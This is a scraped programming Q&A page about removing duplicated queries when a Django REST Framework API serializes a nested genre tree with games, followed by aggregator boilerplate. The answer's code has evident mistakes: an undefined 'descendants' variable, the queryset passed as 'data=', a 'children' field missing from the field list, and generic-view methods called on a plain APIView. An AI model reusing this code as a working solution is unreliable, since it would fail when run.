The result is what I am expecting but there are n duplicated queries for each of the genre. How can I fix it? Thanks..
Updatehere is a paste https://pastebin.com/xfRdBaF4 with all code, if you want to reproduce the issue.
Also addpath('games/', GamesByGenreAPI.as_view()),
in urls.py which is omitted in paste.
tried logging queries to check if its issue with debug toolbar, but it is NOT, the queries are duplicated.. here is the screenshot.
ANSWER
Answered 2021-Nov-26 at 09:21Here is my approach on how to overcome the multiple queries being made.
from collections import defaultdict
from rest_framework.serializers import SerializerMethodField
class GameSerializer(serializers.ModelSerializer):
class Meta:
model = Game
exclude = ['genre', ]
class GenreGameSerializer(serializers.ModelSerializer):
children = SerializerMethodField(source='get_children')
games = GameSerializer(many=True)
class Meta:
model = Genre
fields = ['id', 'name', 'games']
def get_children(self, obj):
# get genre childrens from context and pass it to same serializer
# no extra queries are done, since we alredy have the instances
children = self.context['children'].get(obj.id, [])
serializer = GenreGameSerializer(children, many=True, context=self.context)
return serializer.data
class GamesByGenreAPI(APIView):
queryset = Genre.objects.root_nodes()
serializer_class = GenreGameSerializer
def get(self, request, *args, **kwargs):
# gather genres from queryset class attribute and prefetch games
genres = self.get_queryset().prefetch_related('games')
# gather all descendants of root nodes and prefetch games
genre_descendants = genres.get_descendants().prefetch_related('games')
# create a dictionary with key parent and value list of children
# this will not require extra queries
children_dict = defaultdict(list)
for descendant in descendants:
children_dict[descendant.parent_id].append(descendant)
# add the dictionary as context for serializer
context = self.get_serializer_context()
context['children'] = children_dict
# send the context to serializer
ser = GenreGameSerializer(data=genres, context=context, many=True)
return Response(ser.data)
The GamesByGenreAPI
class can be written nicer, by overriding self.get_queryset()
and self.get_serializer_context()
but I tried to keep it in one method for better understanding.
Community Discussions, Code Snippets contain sources that include Stack Exchange Network
Vulnerabilities
No vulnerabilities reported
Install Games
You can use Games like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.
Support
Find, review, and download reusable Libraries, Code Snippets, Cloud APIs from over 650 million Knowledge Items
Find more librariesExplore Kits - Develop, implement, customize Projects, Custom Functions and Applications with kandi kits
Save this library and start creating your kit
Share this Page